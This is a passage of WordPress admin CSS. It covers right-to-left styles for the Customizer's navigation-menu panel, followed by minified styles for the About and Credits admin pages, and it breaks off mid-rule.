	border: none;
	content: "\f111";
	display: block;
	font: 18px/1 dashicons;
	padding: 5px;
	text-align: center;
	text-decoration: none !important;
	text-indent: 0;
	right: 6px;
	position: absolute;
	top: 6px;
}

.customize-screen-options-toggle:focus:before,
#customize-controls .customize-info .customize-help-toggle:focus:before {
	border-radius: 100%;
}

.wp-customizer #screen-options-wrap {
	display: none;
	background: #fff;
	border-top: 1px solid #dcdcde;
	padding: 4px 15px 15px;
}

.wp-customizer .metabox-prefs label {
	display: block;
	padding-left: 0;
	line-height: 30px;
}

/* rework the arrow indicator implementation for NVDA bug same as #32715 */
.wp-customizer .toggle-indicator {
	display: inline-block;
	font-size: 20px;
	line-height: 1;
}

.rtl .wp-customizer .toggle-indicator {
	text-indent: 1px; /* account for the dashicon alignment */
}

.wp-customizer .menu-item .item-edit .toggle-indicator:before,
#available-menu-items .accordion-section-title .toggle-indicator:before {
	content: "\f140";
	display: block;
	padding: 1px 0 1px 2px;
	speak: never;
	border-radius: 50%;
	color: #787c82;
	font: normal 20px/1 dashicons;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
}

.control-section-nav_menu .field-link-target,
.control-section-nav_menu .field-title-attribute,
.control-section-nav_menu .field-css-classes,
.control-section-nav_menu .field-xfn,
.control-section-nav_menu .field-description {
	display: none;
}

.control-section-nav_menu.field-link-target-active .field-link-target,
.control-section-nav_menu.field-title-attribute-active .field-title-attribute,
.control-section-nav_menu.field-css-classes-active .field-css-classes,
.control-section-nav_menu.field-xfn-active .field-xfn,
.control-section-nav_menu.field-description-active .field-description {
	display: block;
}

/* WARNING: The 20px factor is hard-coded in JS. */
.menu-item-depth-0  { margin-right: 0;     }
.menu-item-depth-1  { margin-right: 20px;  }
.menu-item-depth-2  { margin-right: 40px;  }
.menu-item-depth-3  { margin-right: 60px;  }
.menu-item-depth-4  { margin-right: 80px;  }
.menu-item-depth-5  { margin-right: 100px; }
.menu-item-depth-6  { margin-right: 120px; }
.menu-item-depth-7  { margin-right: 140px; }
.menu-item-depth-8  { margin-right: 160px; } /* Not likely to be used or useful beyond this depth */
.menu-item-depth-9  { margin-right: 180px; }
.menu-item-depth-10 { margin-right: 200px; }
.menu-item-depth-11 { margin-right: 220px; }

/* @todo handle .menu-item-settings width */
.menu-item-depth-0  > .menu-item-bar { margin-left: 0;     }
.menu-item-depth-1  > .menu-item-bar { margin-left: 20px;  }
.menu-item-depth-2  > .menu-item-bar { margin-left: 40px;  }
.menu-item-depth-3  > .menu-item-bar { margin-left: 60px;  }
.menu-item-depth-4  > .menu-item-bar { margin-left: 80px;  }
.menu-item-depth-5  > .menu-item-bar { margin-left: 100px; }
.menu-item-depth-6  > .menu-item-bar { margin-left: 120px; }
.menu-item-depth-7  > .menu-item-bar { margin-left: 140px; }
.menu-item-depth-8  > .menu-item-bar { margin-left: 160px; }
.menu-item-depth-9  > .menu-item-bar { margin-left: 180px; }
.menu-item-depth-10 > .menu-item-bar { margin-left: 200px; }
.menu-item-depth-11 > .menu-item-bar { margin-left: 220px; }

/* Submenu left margin. */
.menu-item-depth-0  .menu-item-transport { margin-right: 0;      }
.menu-item-depth-1  .menu-item-transport { margin-right: -20px;  }
.menu-item-depth-3  .menu-item-transport { margin-right: -60px;  }
.menu-item-depth-4  .menu-item-transport { margin-right: -80px;  }
.menu-item-depth-2  .menu-item-transport { margin-right: -40px;  }
.menu-item-depth-5  .menu-item-transport { margin-right: -100px; }
.menu-item-depth-6  .menu-item-transport { margin-right: -120px; }
.menu-item-depth-7  .menu-item-transport { margin-right: -140px; }
.menu-item-depth-8  .menu-item-transport { margin-right: -160px; }
.menu-item-depth-9  .menu-item-transport { margin-right: -180px; }
.menu-item-depth-10 .menu-item-transport { margin-right: -200px; }
.menu-item-depth-11 .menu-item-transport { margin-right: -220px; }

/* WARNING: The 20px factor is hard-coded in JS. */
.reordering .menu-item-depth-0  { margin-right: 0;     }
.reordering .menu-item-depth-1  { margin-right: 15px;  }
.reordering .menu-item-depth-2  { margin-right: 30px;  }
.reordering .menu-item-depth-3  { margin-right: 45px;  }
.reordering .menu-item-depth-4  { margin-right: 60px;  }
.reordering .menu-item-depth-5  { margin-right: 75px;  }
.reordering .menu-item-depth-6  { margin-right: 90px;  }
.reordering .menu-item-depth-7  { margin-right: 105px; }
.reordering .menu-item-depth-8  { margin-right: 120px; } /* Not likely to be used or useful beyond this depth */
.reordering .menu-item-depth-9  { margin-right: 135px; }
.reordering .menu-item-depth-10 { margin-right: 150px; }
.reordering .menu-item-depth-11 { margin-right: 165px; }

.reordering .menu-item-depth-0  > .menu-item-bar { margin-left: 0;     }
.reordering .menu-item-depth-1  > .menu-item-bar { margin-left: 15px;  }
.reordering .menu-item-depth-2  > .menu-item-bar { margin-left: 30px;  }
.reordering .menu-item-depth-3  > .menu-item-bar { margin-left: 45px;  }
.reordering .menu-item-depth-4  > .menu-item-bar { margin-left: 60px;  }
.reordering .menu-item-depth-5  > .menu-item-bar { margin-left: 75px;  }
.reordering .menu-item-depth-6  > .menu-item-bar { margin-left: 90px;  }
.reordering .menu-item-depth-7  > .menu-item-bar { margin-left: 105px; }
.reordering .menu-item-depth-8  > .menu-item-bar { margin-left: 120px; }
.reordering .menu-item-depth-9  > .menu-item-bar { margin-left: 135px; }
.reordering .menu-item-depth-10 > .menu-item-bar { margin-left: 150px; }
.reordering .menu-item-depth-11 > .menu-item-bar { margin-left: 165px; }

.control-section-nav_menu.menu .menu-item-edit-active {
	margin-right: 0;
}

.control-section-nav_menu.menu .menu-item-edit-active .menu-item-bar {
	margin-left: 0;
}

.control-section-nav_menu.menu .sortable-placeholder {
	margin-top: 0;
	margin-bottom: 1px;
	max-width: calc(100% - 2px);
	float: right;
	display: list-item;
	border-color: #a7aaad;
}

.menu-item-transport li.customize-control {
	float: none;
}

.control-section-nav_menu.menu ul.menu-item-transport .menu-item-bar {
	margin-top: 0;
}

/**
 * Add-menu-items mode
 */

.adding-menu-items .control-section {
	opacity: .4;
}

.adding-menu-items .control-panel.control-section,
.adding-menu-items .control-section.open {
	opacity: 1;
}

.menu-item-bar .item-delete {
	color: #d63638;
	position: absolute;
	top: 2px;
	left: -19px;
	width: 30px;
	height: 38px;
	cursor: pointer;
	display: none;
}

.menu-item-bar .item-delete:before {
	content: "\f335";
	position: absolute;
	top: 9px;
	right: 5px;
	border-radius: 50%;
	font: normal 20px/1 dashicons;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.menu-item-bar .item-delete:hover,
.menu-item-bar .item-delete:focus {
	box-shadow: none;
	outline: none;
	color: #d63638;
}

.adding-menu-items .menu-item-bar .item-edit {
	display: none;
}

.adding-menu-items .menu-item-bar .item-delete {
	display: block;
}

/**
 * Styles for menu-item addition panel
 */

#available-menu-items.opening {
	overflow-y: hidden; /* avoid scrollbar jitter with animating heights */
}

#available-menu-items #available-menu-items-search.open {
	height: 100%;
	border-bottom: none;
}

#available-menu-items .accordion-section-title {
	border-right: none;
	border-left: none;
	background: #fff;
	transition: background-color 0.15s;
	/* Reset the value inherited from the base .accordion-section-title style. Ticket #37589. */
	-webkit-user-select: auto;
	user-select: auto;
}

#available-menu-items .open .accordion-section-title,
#available-menu-items #available-menu-items-search .accordion-section-title {
	background: #f0f0f1;
}

/* rework the arrow indicator implementation for NVDA bug see #32715 */
#available-menu-items .accordion-section-title:after {
	content: none !important;
}

#available-menu-items .accordion-section-title:hover .toggle-indicator:before,
#available-menu-items .button-link:hover .toggle-indicator:before,
#available-menu-items .button-link:focus .toggle-indicator:before {
	color: #1d2327;
}

#available-menu-items .open .accordion-section-title .toggle-indicator:before {
	content: "\f142";
	color: #1d2327;
}

#available-menu-items .available-menu-items-list {
	overflow-y: auto;
	max-height: 200px; /* This gets set in JS to fit the screen size, and based on # of sections. */
	background: transparent;
}

#available-menu-items .accordion-section-title button {
	display: block;
	width: 28px;
	height: 35px;
	position: absolute;
	top: 5px;
	left: 5px;
	box-shadow: none;
	outline: none;
	cursor: pointer;
	text-align: center;
}

#available-menu-items .accordion-section-title .no-items,
#available-menu-items .cannot-expand .accordion-section-title .spinner,
#available-menu-items .cannot-expand .accordion-section-title > button {
	display: none;
}

#available-menu-items-search.cannot-expand .accordion-section-title .spinner {
	display: block;
}

#available-menu-items .cannot-expand .accordion-section-title .no-items {
	float: left;
	color: #50575e;
	font-weight: 400;
	margin-right: 5px;
}

#available-menu-items .accordion-section-content {
	max-height: 290px;
	margin: 0;
	padding: 0;
	position: relative;
	background: transparent;
}

#available-menu-items .accordion-section-content .available-menu-items-list {
	margin: 0 0 45px;
	padding: 1px 15px 15px;
}

#available-menu-items .accordion-section-content .available-menu-items-list:only-child { /* Types that do not support new items for the current user */
	margin-bottom: 0;
}

#new-custom-menu-item .accordion-section-content {
	padding: 0 15px 15px;
}

#available-menu-items .menu-item-tpl {
	margin: 0;
}

#custom-menu-item-name.invalid,
#custom-menu-item-url.invalid,
.edit-menu-item-url.invalid,
.menu-name-field.invalid,
.menu-name-field.invalid:focus,
#available-menu-items .new-content-item .create-item-input.invalid,
#available-menu-items .new-content-item .create-item-input.invalid:focus {
	border: 1px solid #d63638;
}

#available-menu-items .menu-item-handle .item-type {
	padding-left: 0;
}

#available-menu-items .menu-item-handle .item-title {
	padding-right: 20px;
}

#available-menu-items .menu-item-handle {
	cursor: pointer;
}

#available-menu-items .menu-item-handle {
	box-shadow: none;
	margin-top: -1px;
}

#available-menu-items .menu-item-handle:hover {
	z-index: 1;
}

#available-menu-items .item-title h4 {
	padding: 0 0 5px;
	font-size: 14px;
}

#available-menu-items .item-add {
	position: absolute;
	top: 1px;
	right: 1px;
	color: #8c8f94;
	width: 30px;
	height: 38px;
	box-shadow: none;
	outline: none;
	cursor: pointer;
	text-align: center;
}

#available-menu-items .menu-item-handle .item-add:focus {
	color: #1d2327;
}

#available-menu-items .item-add:before {
	content: "\f543";
	position: relative;
	right: 2px;
	top: 3px;
	display: inline-block;
	height: 20px;
	border-radius: 50%;
	font: normal 20px/1.05 dashicons; /* line height is to account for the dashicon's vertical alignment */
}

#available-menu-items .menu-item-handle.item-added .item-type,
#available-menu-items .menu-item-handle.item-added .item-title,
#available-menu-items .menu-item-handle.item-added:hover .item-add,
#available-menu-items .menu-item-handle.item-added .item-add:focus {
	color: #8c8f94;
}

#available-menu-items .menu-item-handle.item-added .item-add:before {
	content: "\f147";
}

#available-menu-items .accordion-section-title.loading .spinner,
#available-menu-items-search.loading .accordion-section-title .spinner {
	visibility: visible;
	margin: 0 20px;
}

#available-menu-items-search .spinner {
	position: absolute;
	top: 20px; /* 13 container padding +1 input margin +6 ( ( 32 input height - 20 spinner height ) / 2 ) */
	left: 21px;
	margin: 0 !important;
}

/* search results list */
#available-menu-items #available-menu-items-search .accordion-section-content {
	position: absolute;
	right: 0;
	top: 60px; /* below title div / search input */
	bottom: 0; /* 100% height that still triggers lazy load */
	max-height: none;
	width: 100%;
	padding: 1px 15px 15px;
	box-sizing: border-box;
}

#available-menu-items-search .nothing-found {
	/* Compensate the 1px top padding of the container. */
	margin-top: -1px;
}

#available-menu-items-search .accordion-section-title:after {
	display: none;
}

#available-menu-items-search .accordion-section-content:empty {
	min-height: 0;
	padding: 0;
}

#available-menu-items-search.loading .accordion-section-content div {
	opacity: .5;
}

#available-menu-items-search.loading.loading-more .accordion-section-content div {
	opacity: 1;
}

#customize-preview {
	transition: all 0.2s;
}

body.adding-menu-items #available-menu-items {
	right: 0;
	visibility: visible;
}

body.adding-menu-items .wp-full-overlay-main {
	right: 300px;
}

body.adding-menu-items #customize-preview {
	opacity: 0.4;
}

body.adding-menu-items #customize-preview iframe {
	pointer-events: none;
}

.menu-item-handle .spinner {
	display: none;
	float: right;
	margin: 0 0 0 8px;
}

.nav-menu-inserted-item-loading .spinner {
	display: block;
}

.nav-menu-inserted-item-loading .menu-item-handle .item-type {
	padding: 0 8px 0 0;
}

.nav-menu-inserted-item-loading .menu-item-handle,
.added-menu-item .menu-item-handle.loading {
	padding: 10px 8px 10px 15px;
	cursor: default;
	opacity: .5;
	background: #fff;
	color: #787c82;
}

.added-menu-item .menu-item-handle {
	transition-property: opacity, background, color;
	transition-duration: 1.25s;
	transition-timing-function: cubic-bezier( .25, -2.5, .75, 8 ); /* Replacement for .hide().fadeIn('slow') in JS to add emphasis when it's loaded. */
}

/* Add/delete Menus */

#customize-theme-controls .control-panel-content .control-section-nav_menu:nth-last-child(2) .accordion-section-title {
	border-bottom-color: #dcdcde;
}

/* @todo update selector */
#accordion-section-add_menu {
	margin: 15px 12px;
}

#accordion-section-add_menu h3 {
	text-align: left;
}

#accordion-section-add_menu h3,
#accordion-section-add_menu .customize-add-menu-button {
	margin: 0;
}

#accordion-section-add_menu .customize-add-menu-button {
	font-weight: 400;
}

#create-new-menu-submit {
	float: left;
	margin: 0 0 12px;
}

.menu-delete-item {
	float: right;
	padding: 1em 0;
	width: 100%;
}

.assigned-menu-locations-title p {
	margin: 0 0 8px;
}

li.assigned-to-menu-location .menu-delete-item {
	display: none;
}

li.assigned-to-menu-location .add-new-menu-item {
	margin-bottom: 1em;
}

.menu-item-handle {
	margin-top: -1px;
}
.ui-sortable-disabled .menu-item-handle {
	cursor: default;
}

.menu-item-handle:hover {
	position: relative;
	z-index: 10;
	color: #2271b1;
}

.menu-item-handle:hover .item-type,
.menu-item-handle:hover .item-edit,
#available-menu-items .menu-item-handle:hover .item-add {
	color: #2271b1;
}

.menu-item-edit-active .menu-item-handle {
	border-color: #8c8f94;
	border-bottom: none;
}

.customize-control-nav_menu_item {
	margin-bottom: 0;
}

.customize-control-nav_menu .new-menu-item-invitation {
	margin-top: 0;
	margin-bottom: 0;
}

.customize-control-nav_menu .customize-control-nav_menu-buttons {
	margin-top: 12px;
}

/**
 * box-shadows
 */

.wp-customizer .menu-item .submitbox .submitdelete:focus,
.customize-screen-options-toggle:focus:before,
#customize-controls .customize-info .customize-help-toggle:focus:before,
.wp-customizer button:focus .toggle-indicator:before,
.menu-delete:focus,
.menu-item-bar .item-delete:focus:before,
#available-menu-items .item-add:focus:before {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}


@media screen and (max-width: 782px) {
	#available-menu-items #available-menu-items-search .accordion-section-content {
		top: 63px;
	}
}

@media screen and (max-width: 640px) {
	#available-menu-items #available-menu-items-search .accordion-section-content {
		top: 130px;
	}
}
/*! This file is auto-generated */
.about__container{--background:#ededed;--subtle-background:#eef0fd;--text:#1e1e1e;--text-light:#fff;--accent-1:#3858e9;--accent-2:#3858e9;--accent-3:#ededed;--nav-background:#fff;--nav-border:transparent;--nav-color:var(--text);--nav-current:var(--accent-1);--border-radius:16px;--gap:2rem}.about-php,.contribute-php,.credits-php,.freedoms-php,.privacy-php{background:#fff}.about-php #wpcontent,.contribute-php #wpcontent,.credits-php #wpcontent,.freedoms-php #wpcontent,.privacy-php #wpcontent{background:#fff;padding:0 24px}@media screen and (max-width:782px){.about-php.auto-fold #wpcontent,.contribute-php.auto-fold #wpcontent,.credits-php.auto-fold #wpcontent,.freedoms-php.auto-fold #wpcontent,.privacy-php.auto-fold #wpcontent{padding-right:24px}}.about__container{max-width:1000px;margin:24px auto;clear:both}.about__container .alignleft{float:right}.about__container .alignright{float:left}.about__container .aligncenter{text-align:center}.about__container .is-vertically-aligned-top{align-self:start}.about__container .is-vertically-aligned-center{align-self:center}.about__container .is-vertically-aligned-bottom{align-self:end}.about__section{background:0 0;clear:both}.about__container .has-accent-background-color{color:var(--text-light);background-color:var(--accent-2)}.about__container .has-transparent-background-color{background-color:transparent}.about__container .has-accent-color{color:var(--accent-2)}.about__container .has-border{border:3px solid currentColor}.about__container .has-subtle-background-color{background-color:var(--subtle-background)}.about__container .has-background-image{background-size:contain;background-repeat:no-repeat;background-position:center}.about__section{margin:0}.about__section .column:not(.is-edge-to-edge){padding:var(--gap)}.about__section+.about__section .is-section-header{padding-bottom:var(--gap)}.about__section .column.has-border:not(.is-edge-to-edge),.about__section .column[class*=background-color]:not(.is-edge-to-edge),.about__section:where([class*=background-color]) .column:not(.is-edge-to-edge){padding-top:var(--gap);padding-bottom:var(--gap)}.about__section .column p:first-of-type{margin-top:0}.about__section .column p:last-of-type{margin-bottom:0}.about__section .has-text-columns{columns:2;column-gap:calc(var(--gap) * 2)}.about__section .is-section-header{margin-bottom:0;padding:var(--gap) var(--gap) 0}.about__section .is-section-header p:last-child{margin-bottom:0}.about__section .is-section-header:first-child:last-child{padding:0}.about__section.is-feature{padding:var(--gap)}.about__section.is-feature p{margin:0}.about__section.is-feature p+p{margin-top:calc(var(--gap)/ 2)}.about__section.has-1-column{margin-right:auto;margin-left:auto;max-width:36em}.about__section.has-2-columns,.about__section.has-3-columns,.about__section.has-4-columns,.about__section.has-overlap-style{display:grid}.about__section.has-gutters{gap:var(--gap);margin-bottom:var(--gap)}.about__section.has-2-columns{grid-template-columns:1fr 1fr}.about__section.has-2-columns.is-wider-right{grid-template-columns:2fr 3fr}.about__section.has-2-columns.is-wider-left{grid-template-columns:3fr 2fr}.about__section .is-section-header{grid-column-start:1;grid-column-end:-1}.about__section.has-3-columns{grid-template-columns:repeat(3,1fr)}.about__section.has-4-columns{grid-template-columns:repeat(4,1fr)}.about__section.has-overlap-style{grid-template-columns:repeat(7,1fr)}.about__section.has-overlap-style .column{grid-row-start:1}.about__section.has-overlap-style .column:nth-of-type(odd){grid-column-start:2;grid-column-end:span 3}.about__section.has-overlap-style .column:nth-of-type(2n){grid-column-start:4;grid-column-end:span 3}.about__section.has-overlap-style .column.is-top-layer{z-index:1}@media screen and (max-width:782px){.about__section.has-2-columns.is-wider-left,.about__section.has-2-columns.is-wider-right,.about__section.has-3-columns{display:block;margin-bottom:calc(var(--gap)/ 2)}.about__section .column:not(.is-edge-to-edge){padding-top:var(--gap);padding-bottom:var(--gap)}.about__section.has-2-columns.has-gutters.is-wider-left,.about__section.has-2-columns.has-gutters.is-wider-right,.about__section.has-3-columns.has-gutters{margin-bottom:calc(var(--gap) * 2)}.about__section.has-2-columns.has-gutters .column,.about__section.has-3-columns.has-gutters .column{margin-bottom:var(--gap)}.about__section.has-2-columns.has-gutters .column:last-child,.about__section.has-3-columns.has-gutters .column:last-child{margin-bottom:0}.about__section.has-3-columns .column:nth-of-type(n){padding-top:calc(var(--gap)/ 2);padding-bottom:calc(var(--gap)/ 2)}.about__section.has-4-columns{grid-template-columns:repeat(2,1fr)}.about__section.has-overlap-style{grid-template-columns:1fr}.about__section.has-overlap-style .column.column{grid-column-start:1;grid-column-end:2;grid-row-start:1;grid-row-end:2}}@media screen and (max-width:600px){.about__section.has-2-columns{display:block;margin-bottom:var(--gap)}.about__section.has-2-columns:not(.has-gutters) .column:nth-of-type(n){padding-top:calc(var(--gap)/ 2);padding-bottom:calc(var(--gap)/ 2)}.about__section.has-2-columns.has-gutters{margin-bottom:calc(var(--gap) * 2)}.about__section.has-2-columns.has-gutters .column{margin-bottom:var(--gap)}.about__section.has-2-columns.has-gutters .column:last-child{margin-bottom:0}}@media screen and (max-width:480px){.about__section.is-feature .column{padding:0}.about__section.has-4-columns{display:block;padding-bottom:calc(var(--gap)/ 2)}.about__section.has-4-columns.has-gutters .column{margin-bottom:calc(var(--gap)/ 2)}.about__section.has-4-columns.has-gutters .column:last-child{margin-bottom:0}.about__section.has-4-columns .column:nth-of-type(n){padding-top:calc(var(--gap)/ 2);padding-bottom:calc(var(--gap)/ 2)}}.about__container{line-height:1.4;color:var(--text)}.about__container h1{padding:0}.about__container h1,.about__container h2,.about__container h3.is-larger-heading{margin-top:0;margin-bottom:.5em;font-size:2rem;font-weight:700;line-height:1.16}.about__container h1.is-smaller-heading,.about__container h2.is-smaller-heading,.about__container h3{margin-top:0;font-size:1.625rem;font-weight:700;line-height:1.4}.about__container h3.is-smaller-heading,.about__container h4{margin-top:0;font-size:1.125rem;font-weight:600;line-height:1.6}.about__container h1,.about__container h2,.about__container h3,.about__container h4{text-wrap:balance;color:inherit}.about__container p{text-wrap:pretty}.about__container p{font-size:inherit;line-height:inherit}.about__container p.is-subheading{margin-top:0;font-size:1.5rem;font-weight:300;line-height:160%}.about__section a{color:var(--accent-1);text-decoration:underline}.about__section a:active,.about__section a:focus,.about__section a:hover{color:var(--accent-1);text-decoration:none}.wp-credits-list a{text-decoration:none}.wp-credits-list a:active,.wp-credits-list a:focus,.wp-credits-list a:hover{text-decoration:underline}.about__container ul{list-style:disc;margin-right:calc(var(--gap)/ 2)}.about__container li{margin-bottom:.5rem}.about__container img{margin:0;max-width:100%;vertical-align:middle}.about__container .about__image{margin:0}.about__container .about__image img{max-width:100%;width:100%;height:auto;border-radius:var(--border-radius)}.about__container .about__image figcaption{margin-top:.5em;text-align:center}.about__container .about__image .wp-video{margin-right:auto;margin-left:auto}.about__container .about__image svg{vertical-align:middle}.about__container .about__image+h3{margin-top:1.5em}.about__container hr{margin:calc(var(--gap)/ 2) var(--gap);height:0;border:none;border-top:4px solid var(--accent-3)}.about__container hr.is-small{margin-top:0;margin-bottom:0}.about__container hr.is-large{margin:var(--gap) auto}.about__container .notice,.about__container div.error,.about__container div.updated{display:none!important}.about__container code{font-size:inherit}.about__section{font-size:1.125rem;line-height:1.55}.about__section.is-feature{font-size:1.6em}.about__section.has-3-columns,.about__section.has-4-columns{font-size:1rem}@media screen and (max-width:480px){.about__section.is-feature{font-size:1.4em}.about__container h1,.about__container h2,.about__container h3.is-larger-heading{font-size:2em}}.about__header{position:relative;display:flex;flex-direction:column;align-items:flex-start;justify-content:flex-end;box-sizing:border-box;padding:calc(var(--gap) * 1.5);min-height:clamp(10rem,25vw,18.75rem);border-radius:var(--border-radius);background-repeat:no-repeat;background-position:left 7% center,top right;background-color:var(--background)}.about__header-image{margin:0 var(--gap) 3em}.about__header-title{box-sizing:border-box;margin:0;padding:0}.about__header-title h1{margin:0;padding:0;font-size:clamp(2rem, 20vw - 9rem, 4rem);line-height:1;font-weight:600}.about-php .about__header-title h1,.contribute-php .about__header-title h1,.credits-php .about__header-title h1,.freedoms-php .about__header-title h1,.privacy-php .about__header-title h1{font-size:clamp(2rem, 10vw - 3rem, 4rem)}.about__header-text{box-sizing:border-box;max-width:26em;margin:1rem 0 0;padding:0;font-size:1.6rem;line-height:1.15}.about__header-navigation{position:relative;z-index:1;display:flex;flex-wrap:wrap;justify-content:space-between;padding-top:0;margin-bottom:var(--gap);background:var(--nav-background);color:var(--nav-color);border-bottom:3px solid var(--nav-border)}.about__header-navigation::after{display:none}.about__header-navigation .nav-tab{margin-right:0;padding:calc(var(--gap) * .75) var(--gap);float:none;font-size:1.4em;line-height:1;border-width:0 0 3px;border-style:solid;border-color:transparent;background:0 0;color:inherit}.about__header-navigation .nav-tab:active,.about__header-navigation .nav-tab:hover{background-color:var(--nav-current);color:var(--text-light)}.about__header-navigation .nav-tab-active{margin-bottom:-3px;color:var(--nav-current);border-width:0 0 6px;border-color:var(--nav-current)}.about__header-navigation .nav-tab-active:active,.about__header-navigation .nav-tab-active:hover{background-color:var(--nav-current);color:var(--text-light);border-color:var(--nav-current)}@media screen and (max-width:960px){.about-php .about__header-title h1,.contribute-php .about__header-title h1,.credits-php .about__header-title h1,.freedoms-php .about__header-title h1,.privacy-php .about__header-title h1{font-size:clamp(3rem, 6.67vw - .5rem, 4.5rem)}.about__header-navigation .nav-tab{padding:calc(var(--gap) * .75) calc(var(--gap) * .5)}}@media screen and (max-width:782px){.about__container .about__header-text{font-size:1.4em}.about__header-container{display:block}.about__header{padding:var(--gap)}.about__header-text{margin-top:.5rem}.about__header-navigation .nav-tab{margin-top:0;margin-left:0;font-size:1.2em}}@media screen and (max-width:600px){.about__header{min-height:auto}.about__header,.contribute-php .about__header,.credits-php .about__header,.freedoms-php .about__header,.privacy-php .about__header{background-image:none}.about__header-navigation{display:block}.about__header-navigation .nav-tab{display:block;margin-bottom:0;padding:calc(var(--gap)/ 2);border-right-width:6px;border-bottom:none}.about__header-navigation .nav-tab-active{border-bottom:none;border-right-width:6px}}.about__section .wp-people-group-title{margin-bottom:calc(var(--gap) * 2 - 10px);text-align:center}.about__section .wp-people-group{margin:0;display:flex;flex-wrap:wrap}.about__section .wp-person{display:inline-block;vertical-align:top;box-sizing:border-box;margin-bottom:calc(var(--gap) - 10px);width:25%;text-align:center}.about__section .compact .wp-person{height:auto;width:20%}.about__section .wp-person-avatar{display:block;margin:0 auto calc(var(--gap)/ 2);width:140px;height:140px;border-radius:100%;overflow:hidden}.about__section .wp-person .gravatar{width:140px;height:140px;filter:grayscale(100%)}.about__section .compact .wp-person .gravatar,.about__section .compact .wp-person-avatar{width:80px;height:80px}.about__section .wp-person .web{display:block;font-size:1.4em;font-weight:600;padding:10px 10px 0;text-decoration:none}.about__section .wp-person .web:hover{text-decoration:underline}.about__section .compact .wp-person .web{font-size:1.2em}.about__section .wp-person .title{display:block;margin-top:.5em}@media screen and (max-width:782px){.about__section .wp-person{width:33%}.about__section .compact .wp-person{width:25%}.about__section .wp-person .gravatar,.about__section .wp-person-avatar{width:120px;height:120px}}@media screen and (max-width:600px){.about__section .wp-person{width:50%}.about__section .compact .wp-person{width:33%}.about__section .wp-person .web{font-size:1.2em}}@media screen and (max-width:480px){.about__section .wp-person{min-width:100%}.about__section .wp-person .web{font-size:1em}.about__section .compact .wp-person .web{font-size:1em}}.about__section .column .freedom-image{margin-bottom:var(--gap);max-height:180px}.about__section .column .privacy-image{display:block;margin-right:auto;margin-left:auto;max-width:25rem}.about-wrap{position:relative;margin:25px 20px 0 40px;max-width:1050px;font-size:15px}.about-wrap.full-width-layout{max-width:1200px}.about-wrap-content{max-width:1050px}.about-wrap .notice,.about-wrap div.error,.about-wrap div.updated{display:none!important}.about-wrap hr{border:0;height:0;margin:3em 0 0;border-top:1px solid rgba(0,0,0,.1)}.about-wrap img{margin:0;width:100%;height:auto;vertical-align:middle}.about-wrap .inline-svg img{max-width:100%;width:auto;height:auto}.about-wrap video{margin:1.5em auto}.wp-badge{background:#0073aa url(../images/w-logo-white.png?ver=20160308) no-repeat;background-position:center 25px;background-size:80px 80px;color:#fff;font-size:14px;text-align:center;font-weight:600;margin:5px 0 0;padding-top:120px;height:40px;display:inline-block;width:140px;text-rendering:optimizeLegibility;box-shadow:0 1px 3px rgba(0,0,0,.2)}.svg .wp-badge{background-image:url(../images/wordpress-logo-white.svg?ver=20160308)}.about-wrap .wp-badge{position:absolute;top:0;left:0}.about-wrap .nav-tab{padding-left:15px;padding-right:15px;font-size:18px;line-height:1.33333333}.about-wrap h1{margin:.2em 0 0 200px;padding:0;color:#32373c;line-height:1.2;font-size:2.8em;font-weight:400}.about-wrap h2{margin:40px 0 .6em;font-size:2.7em;line-height:1.3;font-weight:300;text-align:center}.about-wrap h3{margin:1.25em 0 .6em;font-size:1.4em;line-height:1.5}.about-wrap h4{font-size:16px;color:#23282d}.about-wrap p{line-height:1.5;font-size:16px}.about-wrap code,.about-wrap ol li p{font-size:14px;font-weight:400}.about-wrap figcaption{font-size:13px;text-align:center;color:#fff;text-overflow:ellipsis}.about-wrap .about-description,.about-wrap .about-text{margin-top:1.4em;font-weight:400;line-height:1.6;font-size:19px}.about-wrap .about-text{margin:1em 0 1em 200px;color:#555d66}.about-wrap .has-1-columns,.about-wrap .has-2-columns,.about-wrap .has-3-columns,.about-wrap .has-4-columns{display:grid;max-width:800px;margin-top:40px;margin-right:auto;margin-left:auto}.about-wrap .column{margin-left:20px;margin-right:20px}.about-wrap .is-wide{max-width:760px}.about-wrap .is-fullwidth{max-width:100%}.about-wrap .has-1-columns{display:block;max-width:680px;margin:0 auto 40px}.about-wrap .has-2-columns{grid-template-columns:1fr 1fr}.about-wrap .has-2-columns .column:nth-of-type(odd){grid-column-start:1}.about-wrap .has-2-columns .column:nth-of-type(2n){grid-column-start:2}.about-wrap .has-2-columns.is-wider-right{grid-template-columns:1fr 2fr}.about-wrap .has-2-columns.is-wider-left{grid-template-columns:2fr 1fr}.about-wrap .has-3-columns{grid-template-columns:repeat(3,1fr)}.about-wrap .has-3-columns .column:nth-of-type(3n+1){grid-column-start:1}.about-wrap .has-3-columns .column:nth-of-type(3n+2){grid-column-start:2}.about-wrap .has-3-columns .column:nth-of-type(3n){grid-column-start:3}.about-wrap .has-4-columns{grid-template-columns:repeat(4,1fr)}.about-wrap .has-4-columns .column:nth-of-type(4n+1){grid-column-start:1}.about-wrap .has-4-columns .column:nth-of-type(4n+2){grid-column-start:2}.about-wrap .has-4-columns .column:nth-of-type(4n+3){grid-column-start:3}.about-wrap .has-4-columns .column:nth-of-type(4n){grid-column-start:4}.about-wrap .column :first-child{margin-top:0}.about-wrap .aligncenter{text-align:center}.about-wrap .alignleft{float:right;margin-left:40px}.about-wrap .alignright{float:left;margin-right:40px}.about-wrap .is-vertically-aligned-top{align-self:flex-start}.about-wrap .is-vertically-aligned-center{align-self:center}.about-wrap .is-vertically-aligned-bottom{align-self:end}.about-wrap .point-releases{margin-top:5px;border-bottom:1px solid #ddd}.about-wrap .changelog{margin-bottom:40px}.about-wrap .changelog.point-releases h3{padding-top:35px}.about-wrap .changelog.point-releases h3:first-child{padding-top:7px}.about-wrap .changelog.feature-section .col{margin-top:40px}.about-wrap .lead-description{font-size:1.5em;text-align:center}.about-wrap .feature-section p{margin-top:.6em}.about-wrap .headline-feature{margin:0 auto 40px;max-width:680px}.about-wrap .headline-feature h2{margin:50px 0 0}.about-wrap .headline-feature img{max-width:600px;width:100%}.about-wrap .return-to-dashboard{margin:30px -5px 0 0;font-size:14px;font-weight:600}.about-wrap .return-to-dashboard a{text-decoration:none;padding:0 5px}.about-wrap h2.wp-people-group{margin:2.6em 0 